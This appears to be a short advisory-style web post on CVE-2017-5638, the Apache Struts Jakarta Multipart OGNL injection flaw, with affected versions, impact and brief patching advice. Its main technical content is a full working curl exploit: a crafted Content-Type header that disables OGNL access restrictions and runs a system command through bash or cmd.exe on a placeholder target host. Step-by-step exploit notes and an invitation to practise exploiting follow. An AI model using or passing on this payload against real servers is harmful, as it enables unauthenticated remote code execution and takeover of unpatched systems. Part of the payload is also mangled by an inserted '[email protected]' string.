Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit functions by sending a maliciously crafted `Content-Type` HTTP header within a file upload request. The parser incorrectly processes this header, evaluating any Object-Graph Navigation Language (OGNL) expressions contained within it before any validation occurs. An attacker can inject OGNL expressions that, when evaluated by the Struts framework, execute arbitrary system commands with the application’s privileges. This allows for complete compromise of the server without requiring authentication, as the flawed exception handling during file upload triggers the expression evaluation. The attack is network-exploitable and requires no user interaction, making it highly dangerous for unpatched systems.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target-host.com/upload.action`
How Exploit:
Craft malicious Content-Type header.
Target vulnerable Struts endpoint.
OGNL expression execution.
Gains remote shell.
Protection from this CVE:
Immediate patch application.
Upgrade Struts version.
Network segmentation.
Web Application Firewall.
Impact:
Full system compromise.
Arbitrary code execution.
Data breach.
Server takeover.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
